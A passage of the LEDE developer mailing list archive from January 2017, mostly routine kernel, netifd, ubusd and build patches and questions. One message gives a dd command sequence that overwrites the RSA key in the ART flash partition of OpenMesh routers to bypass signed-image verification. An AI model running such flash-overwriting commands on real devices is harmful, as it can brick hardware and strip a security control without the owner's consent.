> diff --git a/target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch b/target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch
> new file mode 100644
> index 0000000..534a6de
> --- /dev/null
> +++ b/target/linux/x86/patches-4.4/800-add-apu2-led-driver.patch
> @@ -0,0 +1,30 @@
> +--- a/drivers/leds/Kconfig	2016-09-15 01:29:29.000000000 -0500
> ++++ b/drivers/leds/Kconfig	2016-09-26 02:36:55.349774421 -0500
> +@@ -49,6 +49,16 @@
> + 	help
> + 	 This option enables support for the LEDs on the AAT1290.
> +
> ++config LEDS_APU2
> ++	tristate "LED Support for the PCEngines APU2 board"
> ++	depends on LEDS_CLASS
> ++	depends on LEDS_GPIO
> ++	depends on GPIOLIB
> ++	help
> ++	  This option enables support for the CPU GPIO pins on the PCEngines
> ++	  APU2 board, as well as adds system support for the reset button and
> ++	  front panel LEDs.
> ++
> + config LEDS_BCM6328
> + 	tristate "LED Support for Broadcom BCM6328"
> + 	depends on LEDS_CLASS
> +diff -Naur ./a/Makefile ./b/Makefile
> +--- a/drivers/leds/Makefile	2016-09-26 02:23:39.787307000 -0500
> ++++ b/drivers/leds/Makefile	2016-09-26 02:39:41.669443541 -0500
> +@@ -8,6 +8,7 @@
> + # LED Platform Drivers
> + obj-$(CONFIG_LEDS_88PM860X)		+= leds-88pm860x.o
> + obj-$(CONFIG_LEDS_AAT1290)		+= leds-aat1290.o
> ++obj-$(CONFIG_LEDS_APU2)			+= leds-apu2.o
> + obj-$(CONFIG_LEDS_BCM6328)		+= leds-bcm6328.o
> + obj-$(CONFIG_LEDS_BCM6358)		+= leds-bcm6358.o
> + obj-$(CONFIG_LEDS_BD2802)		+= leds-bd2802.o
> -- 
> 2.7.4


Did you consider upstreaming something for arch/x86/platform/ ?

I found that to be the easier route.  I?d copy David Woodhouse on the submission...

-Philip



From giu.lippolis at gmail.com  Wed Jan 18 12:10:54 2017
From: giu.lippolis at gmail.com (Giuseppe Lippolis)
Date: Wed, 18 Jan 2017 21:10:54 +0100
Subject: [LEDE-DEV] RT5350 spi half duplex?
Message-ID: <006a01d271c6$fa28d910$ee7a8b30$@gmail.com>

Hi,
I?m experimenting the spi interface on a RT5350 target.
Its spi driver set the interface as half duplex

??????? master->dev.of_node = pdev->dev.of_node;
??????? master->mode_bits = RT2880_SPI_MODE_BITS;
??????? master->bits_per_word_mask = SPI_BPW_MASK(8);
??????? master->min_speed_hz = clk_get_rate(clk) / 128;
??????? master->max_speed_hz = clk_get_rate(clk) / 2;
??????? master->flags = SPI_MASTER_HALF_DUPLEX;
??????? master->setup = rt2880_spi_setup;
??????? master->prepare_message = rt2880_spi_prepare_message;
??????? master->set_cs = rt2880_spi_set_cs;
??????? master->transfer_one = rt2880_spi_transfer_one,

but from the datasheet it seems that the device is full duplex capable.
There are some reason to set the driver in this way?

Thanks, bye. 




From philipp_subx at redfish-solutions.com  Wed Jan 18 12:22:05 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Wed, 18 Jan 2017 13:22:05 -0700
Subject: [LEDE-DEV] Race condition in openssh build?
Message-ID: <080EE7E8-FDE0-4D9B-A57C-A18AD75E7D78@redfish-solutions.com>

I did a ?make dirclean? and then ?make -j12? and I end up seeing the following (it?s reproducible):

...
 make[3] -C feeds/packages/utils/bash compile
 make[3] -C feeds/packages/utils/bc compile
 make[3] -C feeds/packages/net/bmon compile
 make[3] -C package/network/utils/iptables compile
 make[3] -C feeds/packages/libs/liboping compile
 make[3] -C package/network/utils/iproute2 compile
 make[3] -C feeds/packages/net/isc-dhcp compile
 make[3] -C feeds/packages/net/openssh compile
 make[3] -C feeds/packages/net/openssh compile
 make[3] -C feeds/packages/net/openssh compile
 make[3] -C feeds/packages/net/openssh compile
 make[3] -C feeds/packages/net/openssh compile
 make[3] -C feeds/packages/net/openssh compile
make -r world: build failed. Please re-run make with -j1 V=s to see what's going on
/home/philipp/bertram/bmu-philip/openwrt/include/toplevel.mk:192: recipe for target 'world' failed
make: *** [world] Error 1

philipp at ubuntu16:~/bertram/bmu-philip/openwrt$ make -j4 package/openssh/clean 
 make[1] package/openssh/clean
 make[2] -C feeds/packages/net/openssh clean
 make[2] -C feeds/packages/net/openssh clean
 make[2] -C feeds/packages/net/openssh clean
 make[2] -C feeds/packages/net/openssh clean
 make[2] -C feeds/packages/net/openssh clean
 make[2] -C feeds/packages/net/openssh clean
 make[2] -C feeds/packages/net/openssh clean
philipp at ubuntu16:~/bertram/bmu-philip/openwrt$ 
philipp at ubuntu16:~/bertram/bmu-philip/openwrt$ make -j12 package/openssh/compile
 make[1] package/openssh/compile
 make[2] -C package/libs/toolchain compile
 make[2] -C feeds/packages/libs/libpam compile
 make[2] -C package/libs/zlib compile
 make[2] -C package/libs/openssl compile
 make[2] -C feeds/packages/net/openssh compile
 make[2] -C feeds/packages/net/openssh compile
 make[2] -C feeds/packages/net/openssh compile
 make[2] -C feeds/packages/net/openssh compile
 make[2] -C feeds/packages/net/openssh compile
 make[2] -C feeds/packages/net/openssh compile
 make[2] -C feeds/packages/net/openssh compile
philipp at ubuntu16:~/bertram/bmu-philip/openwrt$ 



From jaapbuurman at gmail.com  Thu Jan 19 02:38:23 2017
From: jaapbuurman at gmail.com (Jaap Buurman)
Date: Thu, 19 Jan 2017 11:38:23 +0100
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
Message-ID: <CAN-r--nC7e-ffhgDb=e6v79Jk2p5f8mQ-FXirkhykJ9t50ZsPg@mail.gmail.com>

Hi all,

According to Dave T?ht the following code disables Airtime Fairness:

for i in /sys/kernel/debug/ieee80211/phy*/*/airtime_flags

do
echo 0 > $i
done



Wouldn't it be a good idea to ship Lede with ATF baked in, but
disabled at default? That would allow end-users to easily enable ATF.
Since enabling ATF takes some work, people without the knowledge
wouldn't accidentally enable this feature and run into possible
instability issues. But at the same time, this would enable tech savvy
people to experiment.

There are reports of people running their networks with ATF enabled
for weeks with no issues whatsoever, so if there are instability
issues it might not be as widespread as one would think. There is an
interesting discussion going on here:
https://bugs.lede-project.org/index.php?do=details&task_id=368

I'm curious to your thoughts!


From nbd at nbd.name  Thu Jan 19 02:44:51 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Thu, 19 Jan 2017 11:44:51 +0100
Subject: [LEDE-DEV] [Make-wifi-fast] ath9k airtime fairness stabiity
 issues?
In-Reply-To: <CAN-r--nC7e-ffhgDb=e6v79Jk2p5f8mQ-FXirkhykJ9t50ZsPg@mail.gmail.com>
References: <CAN-r--nC7e-ffhgDb=e6v79Jk2p5f8mQ-FXirkhykJ9t50ZsPg@mail.gmail.com>
Message-ID: <3f5e713d-b46c-2165-7bd2-dcfbecd92e28@nbd.name>

On 2017-01-19 11:38, Jaap Buurman wrote:
> Hi all,
> 
> According to Dave T?ht the following code disables Airtime Fairness:
> 
> for i in /sys/kernel/debug/ieee80211/phy*/*/airtime_flags
> 
> do
> echo 0 > $i
> done
> 
> 
> 
> Wouldn't it be a good idea to ship Lede with ATF baked in, but
> disabled at default? That would allow end-users to easily enable ATF.
> Since enabling ATF takes some work, people without the knowledge
> wouldn't accidentally enable this feature and run into possible
> instability issues. But at the same time, this would enable tech savvy
> people to experiment.
> 
> There are reports of people running their networks with ATF enabled
> for weeks with no issues whatsoever, so if there are instability
> issues it might not be as widespread as one would think. There is an
> interesting discussion going on here:
> https://bugs.lede-project.org/index.php?do=details&task_id=368
It is still unclear if disabling ATF at runtime is even enough to get
rid of the stability issues. It's much safer to just leave this patch
out for now and give it some more time to stabilize.

- Felix


From mihairichard at live.com  Thu Jan 19 04:51:04 2017
From: mihairichard at live.com (Mihai Richard)
Date: Thu, 19 Jan 2017 12:51:04 +0000
Subject: [LEDE-DEV] [PATCH] ubusd: fix issue caused by an implicit cast
Message-ID: <MWHPR17MB1662D37AF5ADBD0789E5C05CA07E0@MWHPR17MB1662.namprd17.prod.outlook.com>

An -1 returned by ubus_msg_writev() will be interpreted as
UINT_MAX during a check to see how much data had could be
written on the socket.

Because sizeof() will return size_t it will promote the
comparsion to unsigned

Signed-off-by: Mihai Richard <mihairichard at live.com>
---
 ubusd.c | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/ubusd.c b/ubusd.c
index 7279a70..5409b7f 100644
--- a/ubusd.c
+++ b/ubusd.c
@@ -148,12 +148,13 @@ void ubus_msg_send(struct ubus_client *cl, struct ubus_msg_buf *ub, bool free)
 
 	if (!cl->tx_queue[cl->txq_cur]) {
 		written = ubus_msg_writev(cl->sock.fd, ub, 0);
-		if (written >= ub->len + sizeof(ub->hdr))
-			goto out;
 
 		if (written < 0)
 			written = 0;
 
+		if (written >= ub->len + sizeof(ub->hdr))
+			goto out;
+
 		cl->txq_ofs = written;
 
 		/* get an event once we can write to the socket again */
-- 
2.7.4



From ynezz at true.cz  Thu Jan 19 06:22:25 2017
From: ynezz at true.cz (Petr =?iso-8859-2?Q?=A9tetiar?=)
Date: Thu, 19 Jan 2017 15:22:25 +0100
Subject: [LEDE-DEV] FCC killing open platforms and inovations
In-Reply-To: <2079035.8qzJFlEWxs@prime>
References: <20161111151236.25453-1-sven.eckelmann@open-mesh.com>
 <22416047.Ob5EakznGO@prime> <20161117100717.GB6286@ibawizard.net>
 <2079035.8qzJFlEWxs@prime>
Message-ID: <20170119142225.GA9200@ibawizard.net>

Simon Wunderlich <simon.wunderlich at open-mesh.com> [2016-11-17 11:19:48]:

Hi Simon,

> On the other hand, swapping the u-boot is not so trivial, at least without 
> opening/soldering/modifying the flash from outside, which is considered a 
> reasonable hurdle.

the more I'm exploring the secrets of U-Boot code with pepe2k's help, the more
I'm puzzled and really wondering why is someone doing all this locking.

You or someone else for OpenMesh has put so much energy to make the U-Boot use
RSA keys for image verification, but on the other hand you keep the ART
partition, where you store the RSA key, writable from the system. So it's
quite trivial to unlock the device using the following commands:

  ssh root at router

  RSA_KEY_HEADER_SIZE=0x20
  RSA_KEY_OFFSET=0x8000
  ART_PARTITION=mtd7
  BYTES=$((RSA_KEY_HEADER_SIZE))
  SEEK=$(($RSA_KEY_OFFSET/$RSA_KEY_HEADER_SIZE))

  dd if=/dev/zero bs=$BYTES count=1 | dd of=/dev/$ART_PARTITION bs=$BYTES seek=$SEEK count=1 conv=notrunc
  reboot

It works on OM5P and MR1750. It doesn't seem like a big deal, no soldering
needed. Am I missing something?

-- ynezz


From sven.eckelmann at open-mesh.com  Thu Jan 19 06:28:39 2017
From: sven.eckelmann at open-mesh.com (Sven Eckelmann)
Date: Thu, 19 Jan 2017 15:28:39 +0100
Subject: [LEDE-DEV] FCC killing open platforms and inovations
In-Reply-To: <20170119142225.GA9200@ibawizard.net>
References: <20161111151236.25453-1-sven.eckelmann@open-mesh.com>
 <2079035.8qzJFlEWxs@prime> <20170119142225.GA9200@ibawizard.net>
Message-ID: <2164289.YXyQuOsdKL@bentobox>

On Donnerstag, 19. Januar 2017 15:22:25 CET Petr ?tetiar wrote:
[...]
> You or someone else for OpenMesh has put so much energy to make the U-Boot use
> RSA keys for image verification, but on the other hand you keep the ART
> partition, where you store the RSA key, writable from the system.
[....] 

If you have full access to the system then you have full access to the system.
I don't understand why having full access to the system should mean that you
don't have full access to the system.

Kind regards,
	Sven
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: This is a digitally signed message part.
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170119/6a94d5e4/attachment-0001.sig>

From francesco.borromini at inventati.org  Thu Jan 19 06:43:23 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Thu, 19 Jan 2017 15:43:23 +0100
Subject: [LEDE-DEV] OpenWRT Quantenna radio driver for Netgear Nighthawk X4
 R7500
 (Tehttps://www.autistici.org/webmail/3/?_task=mail&_action=compose&_id=12641242995880cdf530713#stedon
 Designated Driver r49274)
Message-ID: <c7c6622f442551ba5644649d0e37f395@inventati.org>

Hi Patrick,

Please see 
https://lede-project.org/docs/guide-developer/the-source-code?s[]=patch 
for submitting patches.

I have no idea how Quantenna's licensing works - are third parties 
allowed to distribute it freely?

Cheers

Stijn


From dedeckeh at gmail.com  Thu Jan 19 06:59:54 2017
From: dedeckeh at gmail.com (Hans Dedecker)
Date: Thu, 19 Jan 2017 15:59:54 +0100
Subject: [LEDE-DEV] [PATCH v2 netifd] interface-ip: route proto config
 support (FS#170)
Message-ID: <1484837994-19639-1-git-send-email-dedeckeh@gmail.com>

Route proto support is usefull when using route distribution
via a routing daemon.
The route proto parameter can be specified via the route proto
uci config parameter, it can hold a numerical value or the string
values unspec, kernel, boot, static or a string present in
/etc/iproute2/rt_protos.

Signed-off-by: Hans Dedecker <dedeckeh at gmail.com>
---
v2: Use /etc/iproute2/rt_tables as fallback to resolve rt_proto string

 interface-ip.c | 21 +++++++++++++++++----
 interface-ip.h |  5 +++--
 system-dummy.c |  6 ++++++
 system-linux.c | 42 ++++++++++++++++++++++++++++++++++++++++--
 system.h       |  1 +
 ubus.c         |  3 +++
 6 files changed, 70 insertions(+), 8 deletions(-)

diff --git a/interface-ip.c b/interface-ip.c
index 24ea054..f8dab84 100644
--- a/interface-ip.c
+++ b/interface-ip.c
@@ -40,6 +40,7 @@ enum {
 	ROUTE_SOURCE,
 	ROUTE_ONLINK,
 	ROUTE_TYPE,
+	ROUTE_PROTO,
 	__ROUTE_MAX
 };
 
@@ -54,7 +55,8 @@ static const struct blobmsg_policy route_attr[__ROUTE_MAX] = {
 	[ROUTE_VALID] = { .name = "valid", .type = BLOBMSG_TYPE_INT32 },
 	[ROUTE_SOURCE] = { .name = "source", .type = BLOBMSG_TYPE_STRING },
 	[ROUTE_ONLINK] = { .name = "onlink", .type = BLOBMSG_TYPE_BOOL },
-	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING }
+	[ROUTE_TYPE] = { .name = "type", .type = BLOBMSG_TYPE_STRING },
+	[ROUTE_PROTO] = { .name = "proto", .type = BLOBMSG_TYPE_STRING },
 };
 
 const struct uci_blob_param_list route_attr_list = {
@@ -405,6 +407,14 @@ interface_ip_add_route(struct interface *iface, struct blob_attr *attr, bool v6)
 		route->flags |= DEVROUTE_TYPE;
 	}
 
+	if ((cur = tb[ROUTE_PROTO]) != NULL) {
+		if (!system_resolve_rt_proto(blobmsg_data(cur), &route->proto)) {
+			DPRINTF("Failed to resolve proto type: %s\n", (char *) blobmsg_data(cur));
+			goto error;
+		}
+		route->flags |= DEVROUTE_PROTO;
+	}
+
 	interface_set_route_info(iface, route);
 	vlist_add(&ip->route, &route->node, route);
 	return;
@@ -478,10 +488,13 @@ interface_handle_subnet_route(struct interface *iface, struct device_addr *addr,
 	memcpy(&r->addr, &addr->addr, sizeof(r->addr));
 	clear_if_addr(&r->addr, r->mask);
 
-	r->flags |= DEVADDR_KERNEL;
+	if (!system_resolve_rt_proto("kernel", &r->proto))
+		return;
+
+	r->flags |= DEVROUTE_PROTO;
 	system_del_route(dev, r);
 
-	r->flags &= ~DEVADDR_KERNEL;
+	r->flags &= ~DEVROUTE_PROTO;
 	interface_set_route_info(iface, r);
 
 	system_add_route(dev, r);
@@ -634,7 +647,7 @@ interface_update_proto_route(struct vlist_tree *tree,
 	if (node_old && node_new)
 		keep = !memcmp(&route_old->nexthop, &route_new->nexthop, sizeof(route_old->nexthop)) &&
 			(route_old->mtu == route_new->mtu) && (route_old->type == route_new->type) &&
-			!route_old->failed;
+			(route_old->proto == route_new->proto) && !route_old->failed;
 
 	if (node_old) {
 		if (!(route_old->flags & DEVADDR_EXTERNAL) && route_old->enabled && !keep)
diff --git a/interface-ip.h b/interface-ip.h
index bbef62c..01727c9 100644
--- a/interface-ip.h
+++ b/interface-ip.h
@@ -31,8 +31,8 @@ enum device_addr_flags {
 	/* route overrides the default interface mtu */
 	DEVROUTE_MTU		= (1 << 4),
 
-	/* route automatically added by kernel */
-	DEVADDR_KERNEL		= (1 << 5),
+	/* route overrides the default proto type */
+	DEVROUTE_PROTO		= (1 << 5),
 
 	/* address is off-link (no subnet-route) */
 	DEVADDR_OFFLINK		= (1 << 6),
@@ -92,6 +92,7 @@ struct device_route {
 	union if_addr nexthop;
 	int mtu;
 	unsigned int type;
+	unsigned int proto;
 	time_t valid_until;
 
 	/* must be last */
diff --git a/system-dummy.c b/system-dummy.c
index 9c734ea..2ea25ac 100644
--- a/system-dummy.c
+++ b/system-dummy.c
@@ -202,6 +202,12 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
 	return true;
 }
 
+bool system_resolve_rt_proto(const char *type, unsigned int *id)
+{
+	*id = 0;
+	return true;
+}
+
 bool system_resolve_rt_table(const char *name, unsigned int *id)
 {
 	*id = 0;
diff --git a/system-linux.c b/system-linux.c
index 2f15bf1..fcd1b2e 100644
--- a/system-linux.c
+++ b/system-linux.c
@@ -52,7 +52,6 @@
 #define IFA_FLAGS (IFA_MULTICAST + 1)
 #endif
 
-
 #include <string.h>
 #include <fcntl.h>
 #include <glob.h>
@@ -1782,7 +1781,7 @@ static int system_rt(struct device *dev, struct device_route *route, int cmd)
 		.rtm_dst_len = route->mask,
 		.rtm_src_len = route->sourcemask,
 		.rtm_table = (table < 256) ? table : RT_TABLE_UNSPEC,
-		.rtm_protocol = (route->flags & DEVADDR_KERNEL) ? RTPROT_KERNEL : RTPROT_STATIC,
+		.rtm_protocol = (route->flags & DEVROUTE_PROTO) ? route->proto : RTPROT_STATIC,
 		.rtm_scope = RT_SCOPE_NOWHERE,
 		.rtm_type = (cmd == RTM_DELROUTE) ? 0: RTN_UNICAST,
 		.rtm_flags = (route->flags & DEVROUTE_ONLINK) ? RTNH_F_ONLINK : 0,
@@ -1900,6 +1899,45 @@ bool system_resolve_rt_type(const char *type, unsigned int *id)
 	return system_rtn_aton(type, id);
 }
 
+bool system_resolve_rt_proto(const char *type, unsigned int *id)
+{
+	FILE *f;
+	char *e, buf[128];
+	unsigned int n, proto = 256;
+
+	if ((n = strtoul(type, &e, 0)) >= 0 && !*e && e != type)
+		proto = n;
+	else if (!strcmp(type, "unspec"))
+		proto = RTPROT_UNSPEC;
+	else if (!strcmp(type, "kernel"))
+		proto = RTPROT_KERNEL;
+	else if (!strcmp(type, "boot"))
+		proto = RTPROT_BOOT;
+	else if (!strcmp(type, "static"))
+		proto = RTPROT_STATIC;
+	else if ((f = fopen("/etc/iproute2/rt_protos", "r")) != NULL) {
+		while (fgets(buf, sizeof(buf) - 1, f) != NULL) {
+			if ((e = strtok(buf, " \t\n")) == NULL || *e == '#')
+				continue;
+
+			n = strtoul(e, NULL, 10);
+			e = strtok(NULL, " \t\n");
+
+			if (e && !strcmp(e, type)) {
+				proto = n;
+				break;
+			}
+		}
+		fclose(f);
+	}
+
+	if (proto > 255)
+		return false;
+
+	*id = proto;
+	return true;
+}
+
 bool system_resolve_rt_table(const char *name, unsigned int *id)
 {
 	FILE *f;
diff --git a/system.h b/system.h
index d5cb4e3..e810ed9 100644
--- a/system.h
+++ b/system.h
@@ -146,6 +146,7 @@ int system_del_route(struct device *dev, struct device_route *route);
 int system_flush_routes(void);
 
 bool system_resolve_rt_type(const char *type, unsigned int *id);
+bool system_resolve_rt_proto(const char *type, unsigned int *id);
 bool system_resolve_rt_table(const char *name, unsigned int *id);
 bool system_is_default_rt_table(unsigned int id);
 bool system_resolve_rpfilter(const char *filter, unsigned int *id);
diff --git a/ubus.c b/ubus.c
index 29924c1..0123b17 100644
--- a/ubus.c
+++ b/ubus.c
@@ -486,6 +486,9 @@ interface_ip_dump_route_list(struct interface_ip_settings *ip, bool enabled)
 		if (route->flags & DEVROUTE_TYPE)
 			blobmsg_add_u32(&b, "type", route->type);
 
+		if (route->flags & DEVROUTE_PROTO)
+			blobmsg_add_u32(&b, "proto", route->proto);
+
 		if (route->flags & DEVROUTE_MTU)
 			blobmsg_add_u32(&b, "mtu", route->mtu);
 
-- 
1.9.1



From toke at toke.dk  Thu Jan 19 10:12:06 2017
From: toke at toke.dk (=?UTF-8?q?Toke=20H=C3=B8iland-J=C3=B8rgensen?=)
Date: Thu, 19 Jan 2017 19:12:06 +0100
Subject: [LEDE-DEV] [PATCH] kmod-sched-core: Remove HFSC and replace it with
 HTB
Message-ID: <20170119181206.2411-1-toke@toke.dk>

Given the stability issues with HFSC, move that from kmod-sched-core to
kmod-sched and replace it with HTB.

This has the added benefit of enabling sqm-scripts to downgrade its
dependency from kmod-sched to kmod-sched-core, potentially making it
useful on devices with little flash.

Signed-off-by: Toke H?iland-J?rgensen <toke at toke.dk>
---
Merging this to 17.01 is probably a good idea as well, since that is
where the stability issues are likely to be felt.


 package/kernel/linux/modules/netsupport.mk | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/package/kernel/linux/modules/netsupport.mk b/package/kernel/linux/modules/netsupport.mk
index ef5c5ba848..050c4b1d27 100644
--- a/package/kernel/linux/modules/netsupport.mk
+++ b/package/kernel/linux/modules/netsupport.mk
@@ -736,7 +736,7 @@ $(eval $(call KernelPackage,mppe))
 
 
 SCHED_MODULES = $(patsubst $(LINUX_DIR)/net/sched/%.ko,%,$(wildcard $(LINUX_DIR)/net/sched/*.ko))
-SCHED_MODULES_CORE = sch_ingress sch_fq_codel sch_hfsc cls_fw cls_route cls_flow cls_tcindex cls_u32 em_u32 act_mirred act_skbedit
+SCHED_MODULES_CORE = sch_ingress sch_fq_codel sch_htb cls_fw cls_route cls_flow cls_tcindex cls_u32 em_u32 act_mirred act_skbedit
 SCHED_MODULES_FILTER = $(SCHED_MODULES_CORE) act_connmark sch_netem
 SCHED_MODULES_EXTRA = $(filter-out $(SCHED_MODULES_FILTER),$(SCHED_MODULES))
 SCHED_FILES = $(patsubst %,$(LINUX_DIR)/net/sched/%.ko,$(filter $(SCHED_MODULES_CORE),$(SCHED_MODULES)))
@@ -747,7 +747,7 @@ define KernelPackage/sched-core
   TITLE:=Traffic schedulers
   KCONFIG:= \
 	CONFIG_NET_SCHED=y \
-	CONFIG_NET_SCH_HFSC \
+	CONFIG_NET_SCH_HTB \
 	CONFIG_NET_SCH_INGRESS \
 	CONFIG_NET_SCH_FQ_CODEL \
 	CONFIG_NET_CLS=y \
@@ -789,7 +789,7 @@ define KernelPackage/sched
   KCONFIG:= \
 	CONFIG_NET_SCH_CODEL \
 	CONFIG_NET_SCH_DSMARK \
-	CONFIG_NET_SCH_HTB \
+	CONFIG_NET_SCH_HFSC \
 	CONFIG_NET_SCH_FIFO \
 	CONFIG_NET_SCH_GRED \
 	CONFIG_NET_SCH_PRIO \
-- 
2.11.0



From nbd at nbd.name  Thu Jan 19 12:08:40 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Thu, 19 Jan 2017 21:08:40 +0100
Subject: [LEDE-DEV] [PATCH] kmod-sched-core: Remove HFSC and replace it
 with HTB
In-Reply-To: <20170119181206.2411-1-toke@toke.dk>
References: <20170119181206.2411-1-toke@toke.dk>
Message-ID: <c27c8bc2-27a2-f6cf-dd69-a571e4769922@nbd.name>

On 2017-01-19 19:12, Toke H?iland-J?rgensen wrote:
> Given the stability issues with HFSC, move that from kmod-sched-core to
> kmod-sched and replace it with HTB.
> 
> This has the added benefit of enabling sqm-scripts to downgrade its
> dependency from kmod-sched to kmod-sched-core, potentially making it
> useful on devices with little flash.
> 
> Signed-off-by: Toke H?iland-J?rgensen <toke at toke.dk>
NACK. This breaks qos-scripts.

- Felix



From toke at toke.dk  Thu Jan 19 12:35:02 2017
From: toke at toke.dk (=?ISO-8859-1?Q?Toke_H=F8iland-J=F8rgensen?=)
Date: Thu, 19 Jan 2017 21:35:02 +0100
Subject: [LEDE-DEV] [PATCH] kmod-sched-core: Remove HFSC and replace it
 with HTB
In-Reply-To: <c27c8bc2-27a2-f6cf-dd69-a571e4769922@nbd.name>
References: <20170119181206.2411-1-toke@toke.dk>
 <c27c8bc2-27a2-f6cf-dd69-a571e4769922@nbd.name>
Message-ID: <74F95937-1EC2-41E8-BD20-6B71A5864C28@toke.dk>



On 19 January 2017 21:08:40 CET, Felix Fietkau <nbd at nbd.name> wrote:
>On 2017-01-19 19:12, Toke H?iland-J?rgensen wrote:
>> Given the stability issues with HFSC, move that from kmod-sched-core
>to
>> kmod-sched and replace it with HTB.
>> 
>> This has the added benefit of enabling sqm-scripts to downgrade its
>> dependency from kmod-sched to kmod-sched-core, potentially making it
>> useful on devices with little flash.
>> 
>> Signed-off-by: Toke H?iland-J?rgensen <toke at toke.dk>
>NACK. This breaks qos-scripts.

Ah, right, bugger. Totally missed that. Hmm, I don't suppose you'll me amenable to having both hfsc and htb in -core?

-Toke


From mail at danrl.com  Thu Jan 19 12:34:45 2017
From: mail at danrl.com (=?utf-8?Q?Dan_L=C3=BCdtke?=)
Date: Thu, 19 Jan 2017 21:34:45 +0100
Subject: [LEDE-DEV] s/dnsmasq/unbound+odhcpd/
Message-ID: <E851BE24-1440-43D7-B853-7A606E196740@danrl.com>

Hi everyone,

i built LEDE without dnsmasq but with odhcp instead. Mainly out of curiosity and to test a recent PR by Eric Luehrsen regarding unbound+odhcp.

Just a couple of questions to help me understand why things are the way they are:


A) In ifaces.lua, it says "Display DNS settings if dnsmasq is available" but instead of DNS, DHCP4+6 and RA come next. Wrong comment or did I miss something?

https://github.com/openwrt/luci/blob/44bf3f0c1640040561306caff39f34ac916b4357/modules/luci-mod-admin-full/luasrc/model/cbi/admin_network/ifaces.lua#L385

B) test for 'if has_dnsmasq and net:proto() == "static" then' should yield false on my built, since it has not dnsmasq, but i still see the section in luci. However, I pressed the button saying "add dhcp server" or something like this. But that should not influence has_dnsmasq, right?
https://github.com/openwrt/luci/blob/44bf3f0c1640040561306caff39f34ac916b4357/modules/luci-mod-admin-full/luasrc/model/cbi/admin_network/ifaces.lua#L389

local has_dnsmasq  = fs.access("/etc/config/dhcp") seems to be the line in charge of setting the variable. I propose it is renamed to has_dhcp
https://github.com/openwrt/luci/blob/44bf3f0c1640040561306caff39f34ac916b4357/modules/luci-mod-admin-full/luasrc/model/cbi/admin_network/ifaces.lua#L13

C) How easy it is to determine if dnsmasq and/or odhcp are installed? I like to make the GUI capable of configuring odhcpd, too. Some functions do work already, but that is due to the fact that ODHCPD reads some of dnsmasq/luci variables fine. Some not (ignored) and some are missing. --> https://github.com/sbyx/odhcpd

I would like to add conditionals to each input field that is dhcp-server specific and only have the non-specific appear unconditionally. Good idea? Bad idea?
I want to avoid creating a luci-app-odhcp, that does not look like good integration to me. Other opinions?


Background for all of this is, that I have some nice hardware (lots of RAM for a router) and would like to replace dnsmasq with unbound+odhcpd to get recursion, validation, dns64 and a minimal dhcp server. It would be nice if user experience via LUCI would be on par in this setup with what we know and love from dnsmasq. I'd like to help in making this possible.


Thanks for your help!

Cheers,

Dan




From patrick.martin.r at gmail.com  Thu Jan 19 14:07:05 2017
From: patrick.martin.r at gmail.com (Patrick Martin)
Date: Thu, 19 Jan 2017 14:07:05 -0800
Subject: [LEDE-DEV] OpenWRT Quantenna radio driver for Netgear Nighthawk
 X4 R7500 (Tested on Designated Driver r49274)
Message-ID: <CAN_rxo2-SV7Hjh=KqcFtJCqiaMr5LEjs3WH4qHLQ0Y=qF8EhUg@mail.gmail.com>

<this file is a combined resend to the message list of two emails as
they failed the first time, the recipients who received the original
message are: francesco dot borromini at inventati dot org >
The files this package uses all were either written from scratch or
are from a Netgear open source release, the Quantenna wifi card
actually runs its own Linux distribution which means its internal
software is open source (it's a weird wifi card). Also all of the
license headers on the Quantenna proprietary code reads that the
vendor using the card in their hardware may relicense and release the
specific version of the code they are using as open source which is
what Netgear did. Also I put the project on GitHub. I'm currently
reworking the naming of the scripts and packages to reflect the fact
that this driver is for the Quantenna QTS1000 chipset when setup in
PCIE configuration only. I'm also getting ready to add an optional
package that will provide a .so file containing a backend for iwinfo.
Before this driver gets submitted I will
also submit a patch for iwinfo to allow loading backends from .so
files. I will also submit these patches to OpenWRT as well.

GitHub Repo:
https://github.com/ILOVEPIE/qts1kpcie_wifi_driver

Original Netgear Open Source Release that code was sourced from:
http://www.downloads.netgear.com/files/GPL/R7500-and_qtn_gpl_src_V1.0.0.94.zip

Patrick


From greearb at candelatech.com  Thu Jan 19 15:08:16 2017
From: greearb at candelatech.com (greearb at candelatech.com)
Date: Thu, 19 Jan 2017 15:08:16 -0800
Subject: [LEDE-DEV] [PATCH 2/2] mac80211.sh: Support VHT40 hw type for ibss.
In-Reply-To: <1484867296-6747-1-git-send-email-greearb@candelatech.com>
References: <1484867296-6747-1-git-send-email-greearb@candelatech.com>
Message-ID: <1484867296-6747-2-git-send-email-greearb@candelatech.com>

From: Ben Greear <greearb at candelatech.com>

This doesn't actually limit it to VHT40 rates on ath10k,
it seems, but it does let it run VHT 80 rates, which
seems better than disable VHT entirely.

Signed-off-by: Ben Greear <greearb at candelatech.com>
---
 package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
index 1fa39b8..792549a 100644
--- a/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
+++ b/package/kernel/mac80211/files/lib/netifd/wireless/mac80211.sh
@@ -496,8 +496,8 @@ mac80211_setup_supplicant() {
 
 mac80211_setup_adhoc_htmode() {
 	case "$htmode" in
-		VHT20|HT20) ibss_htmode=HT20;;
-		HT40*|VHT40|VHT160)
+		VHT20|HT20|VHT40|VHT160) ibss_htmode="$htmode";;
+		HT40*)
 			case "$hwmode" in
 				a)
 					case "$(( ($channel / 4) % 2 ))" in
-- 
2.4.11



